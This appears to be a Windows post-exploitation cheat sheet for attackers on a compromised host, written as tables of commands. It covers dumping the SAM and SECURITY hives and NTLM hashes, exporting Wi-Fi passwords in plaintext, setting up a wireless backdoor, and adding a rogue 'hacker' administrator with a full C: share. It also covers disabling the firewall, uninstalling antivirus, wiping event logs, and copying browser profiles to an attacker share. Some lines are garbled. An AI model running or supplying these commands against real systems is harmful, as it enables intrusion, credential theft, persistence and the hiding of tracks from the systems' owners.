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Windows Post-Exploitation
Command Execution
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Table of Contents
Presence
This section focuses on information gathering about the victim host and the network that it’s attached to.Blind Files
(Things to pull when all you can do is to blindly read) LFI/Directory traversal(s) or remote file share instances like SMB/FTP/NFS or otherwise.. Files that will have the same name across networks / Windows domains / systems.
File
|
Expected Contents / Description
|
%SYSTEMDRIVE%\boot.ini
|
A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
|
%WINDIR%\win.ini
|
This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case.
|
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
| |
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system
| |
>insert new rows above this line<
|
SEE IMPORTANT FILES SECTION FOR MORE IDEAS
|
System
Command | Expected Output or Description |
whoami | Lists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1. |
whoami /all | Lists current user, sid, groups current user is a member of and their sids as well as current privilege level. |
set | Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE. |
fsutil fsinfo drives | Must be an administrator to run this, but it lists the current drives on the system. |
reg query HKLM /s /d /f "C:\* *.exe" | find /I "C:\" | find /V """" | curely registered executables within the system registry on Windows 7. |
Networking (ipconfig, netstat, net)
Command
|
Expected Output or Description
|
ipconfig /all | Displays the full information about your NIC’s. |
ipconfig /displaydns | Displays your local DNS cache. |
netstat -nabo | Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o) |
netstat -r | Displays the routing table |
netstat -na | findstr :445 | Find all listening ports and connections on port 445 |
netstat -nao | findstr LISTENING | Find all LISTENING ports and their associated PIDs |
netsh diag show all | {XP only} Shows information on network services and adapters |
net view | Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain. |
net view /domain | List all domains available to the host |
net view /domain:otherdomain | Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’ |
net user %USERNAME% /domain | Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership |
net user /domain | Lists all of the domain users |
net accounts | Prints the password policy for the local system. This can be different and superseded by the doaimn policy. |
net accounts /domain | Prints the password policy for the domain |
net localgroup administrators | Prints the members of the Administrators local group |
net localgroup administrators /domain | as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins |
net group “Domain Admins” /domain | Prints the members of the Domain Admins group |
net group “Enterprise Admins” /domain | Prints the members of the Enterprise Admins group |
net group “Domain Controllers” /domain | Prints the list of Domain Controllers for the current domain |
net share | Displays your currently shared SMB entries, and what path(s) they point to |
net session | find / “\\” | |
arp -a |
Lists all the systems currently in the machine’s ARP table.
|
route print |
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
|
browstat (Not working on XP) | |
netsh wlan show profiles |
shows all saved wireless profiles. You may then export the info for those profiles with the command below
|
netsh wlan export profile folder=. key=clear |
exports a user wifi profile with the password in plaintext to an xml file in the current working directory
|
netsh wlan [start|stop] hostednetwork |
Starts or stops a wireless backdoor on a windows 7 pc
|
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent|temporary |
Complete hosted network setup for creating a wireless backdoor on win 7
|
netsh wlan set hostednetwork mode=[allow|disallow] |
enables or disables hosted network service
|
wmic ntdomain list | Retrieve information about Domain and Domain Controller |
- http://www.securityaegis.com/ntsd-backdoor/
Configs
Command | Expected Output or Description |
gpresult /z | Extremely verbose output of GPO (Group policy) settings as applied to the current system and user |
sc qc | |
sc query | |
sc queryex | |
type %WINDIR%\System32\drivers\etc\hosts | Print the contents of the Windows hosts file |
Prints a directory listing of the Program Files directory. | |
echo %COMSPEC% | Usually going to be cmd.exe in the Windows directory, but it’s good to know for sure. |
c:\windows\system32\gathernetworkinfo.vbs | Included script with Windows 7, enumerates registry, firewall config, dns cache, etc. |
Finding Important Files
Command
|
Description / Reason
|
tree C:\ /f /a > C:\output_of_tree.txt
|
Prints
a directory listing in ‘tree’ format. The /a makes the tree printed
with ASCII characters instead of special ones and the /f displays file
names as well as folders
|
dir /a
| |
dir /b /s [Directory or Filename]
| |
dir \ /s /b | find /I “searchstring”
|
Searches
the output of dir from the root of the drive current drive (\) and all
sub drectories (/s) using the ‘base’ format (/b) so that it outputs the
full path for each listing, for ‘searchstring’ anywhere in the file name
or path.
|
command | find /c /v “”
|
Counts the lines of whatever you use for ‘command’
|
Files To Pull (if possible)
File location | Description / Reason |
%SYSTEMDRIVE%\pagefile.sys | Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size |
%WINDIR%\debug\NetSetup.log | |
%WINDIR%\repair\sam | |
%WINDIR%\repair\system | |
%WINDIR%\repair\software | |
%WINDIR%\repair\security | |
%WINDIR%\iis6.log (5, 6 or 7) | |
%WINDIR%\system32\logfiles\httperr\httperr1.log | IIS 6 error log |
%SystemDrive%\inetpub\logs\LogFiles | IIS 7’s logs location |
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day) | |
%WINDIR%\system32\config\AppEvent.Evt | |
%WINDIR%\system32\config\SecEvent.Evt | |
%WINDIR%\system32\config\default.sav | |
%WINDIR%\system32\config\security.sav | |
%WINDIR%\system32\config\software.sav | |
%WINDIR%\system32\config\system.sav | |
%WINDIR%\system32\CCM\logs\*.log | |
%USERPROFILE%\ntuser.dat | |
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat | |
%WINDIR%\System32\drivers\etc\hosts | |
unattend.txt, unattend.xml, sysprep.inf | Used in the automated deployment of windows images and can contain user accounts. No known default location. |
Remote System Access
Command | Description / Reason |
net share \\computername | |
tasklist /V /S computername | |
qwinsta /SERVER:computername | |
qprocess /SERVER:computername * | |
net use \\computername | This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. This is less helpful as most commands will automatically make this connection if needed |
net use \\computername /user:DOMAIN\username password | Using
the IPC$ mount use a user name and password allows you to access
commands that do not usually ask for a username and password as a
different user in the context of the remote system. This is useful when you’ve gotten credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on. |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f | Enable remote desktop. |
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f | Enable remote assistance |
- net time \\computername (Shows the time of target computer)
- dir \\computername\share_or_admin_share\ (dir list a remote directory)
- tasklist /V /S computername
- Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount
Auto-Start Directories
- ver (Returns kernel version - like uname on *nix)
Windows NT 6.1, 6.0
|
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
|
Windows NT 5.2, 5.1, 5,0
|
%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
|
Windows 9x
|
%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\
|
Windows NT 4.0, 3.51, 3.50
|
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\
|
Persistance
This section focuses on gaining a foothold to re-gain, or re-obtain access to a system through means of authentication, backdoors, etc..Binary Planting
Location / File name
|
Reason / Description
|
msiexec.exe | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying pah,t you get code execution. |
%SystemRoot%\System32\wbem\mof\ | Taken from stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vuln |
Check the $PATH environmental variable | Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 |
WMI
- wmic bios
- wmic qfe qfe get hotfixid
- (This gets patches IDs)
- wmic startupwmic service
- wmic process get caption,executablepath,commandline
- wmic process call create “process_name” (executes a program)
- wmic process where name=”process_name” call terminate (terminates program)
- wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
- wmic useraccount (usernames, sid, and various security related goodies)
- wmic useraccount get /ALL
- wmic share get /ALL (you can use ? for gets help ! )
- wmic startup list full (this can be a huge list!!!)
- wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)
Reg Command exit
- reg save HKLM\Security security.hive (Save security hive to a file)
- reg save HKLM\System system.hive (Save system hive to a file)
- reg save HKLM\SAM sam.hive (Save sam to a file)=
- reg add [\\TargetIPaddr\] [RegDomain][ \Key ]
- reg export [RegDomain]\[Key] [FileName]
- reg import [FileName ]
- reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!] (you can to add /s for recurse all values )
Deleting Logs
- wevtutil el (list logs)
- wevtutil cl <LogName> (Clear specific lowbadming)
- del %WINDIR%\*.log /a /s /q /f
Uninstalling Software “AntiVirus” (Non interactive)
- wmic product get name /value (this gets software names)
- wmic product where name="XXX" call uninstall /nointeractive (this uninstalls software)
# Other (to be sorted)
- pkgmgr usefull /iu :”Package”
- pkgmgr usefull /iu :”TelnetServer” (Install Telnet Service ...)
- pkgmgr /iu:”TelnetClient” (Client )
- rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
- wscript.exe <script js/vbs>
- cscript.exe <script js/vbs/c#>
- xcopy /C /S %appdata%\Mozilla\Firefox\Profiles\*.sqlite \\your_box\firefox_funstuff
- OS SPECIFICwmicWin2k3
- winpop stat domainname
Vista/7
- winstat features
- wbadmin get status
- wbadmin get items
- gpresult /H gpols.htm
- bcdedit /export <filename>
Vista SP1/7/2008/2008R2 (x86 & x64)
Enable/Disable Windows features with Deployment Image Servicing and Management (DISM):
*Note* Works well after bypassuac + getsystem (requires system privileges)
*Note2* For Dism.exe to work on x64 systems, the long commands are necessary
To list features which can be enabled/disabled:
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features
To enable a feature (TFTP client for example):
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-feature /featurename:TFTP
To disable a feature (again TFTP client):
- %windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /disable-feature /featurename:TFTP
Invasive or Altering Commands
These commands change things on the target and can lead to getting detected
Command
|
Description
|
net user hacker hacker /add
|
Creats a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
|
net localgroup administrators /add hacker
or
net localgroup administrators hacker /add
|
Adds the new user ‘hacker’ to the local administrators group
|
net share nothing$=C:\ /grant:hacker,FULL /unlimited
|
Shares
the C drive (you can specify any drive) out as a Windows share and
grants the user ‘hacker’ full rights to access, or modify anything on
that drive.
One
thing to note is that in newer (will have to look up exactly when, I
believe since XP SP2) windows versions, share permissions and file
permissions are separated. Since we added our selves as a local admin
this isn’t a problem but it is something to keep in mind
|
net user username /active:yes /domain
|
Changes
an inactive / disabled account to active. This can useful for
re-enabling old domain admins to use, but still puts up a red flag if
those accounts are being watched.
|
netsh firewall set opmode disable
|
Disables the local windows firewall
|
netsh firewall set opmode enable
|
Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.
|
Support Tools Binaries / Links / Usage
Command
|
Link to download
|
Description
|
Third Party Portable Tools
(must be contained in a single executable)
REMEMBER:
DO NOT RUN BINARIES YOU HAVEN’T VETTED - BINARIES BELOW ARE NOT BEING
VOUCHED FOR IN ANY WAY AS THIS DOCUMENT CAN BE EDITED BY ANYONE
Command
|
Link to download
|
Description
|
carrot.exe /im /ie /ff /gc /wlan /vnc /ps /np /mp /dialup /pwdump
| http://h.ackack.net/carrot-exe.html | -invasive- Recovers a bunch passwordnetsh firewall set opmode disables. |
PwDump7.exe > ntlm.txt
| http://www.tarasco.org/security/pwdump_7/ | -invasive- Dumps Windows NTLM hashes. Holds the credentials for all accounts. |
http://www.nirsoft.net/utils/nircmd.html | A collection of small nifty features. | |
adfind.exe
-b ou=ActiveDirectory,dc=example,dc=com -f "objectClass=user" sn
givenName samaccountname -nodn -adcsv > exported_users.csv
| http://www.joeware.net/freetools/ | Joeware tools have been used by admins for a while. This command will output the firstname, lastname and username of everyone in the AD domain example.com. Edit as needed. |
Various tools
(e.g. \\hackarmoury.com\tools\all_binaries\fgdump.exe)
| Some examples of protocols in use:
\\hackarmoury.com\tools
svn://hackarmoury.com
svn://hackarmoury.com
http://ipv6.hackarmoury.com (IPv6 ONLY)
| HackArmoury.com
is a site run by pentesters for pentesters, hosting a wide range of
common tools accessible over many different protocols (e.g. Samba,
HTTP[S], FTP, RSync, SVN, TFTP, IPv6 etc). The idea is you can access a
common toolset from anywhere, without even needing to copy over the
binaries to the host in the case of SMB.
No registration or authentication required.
|
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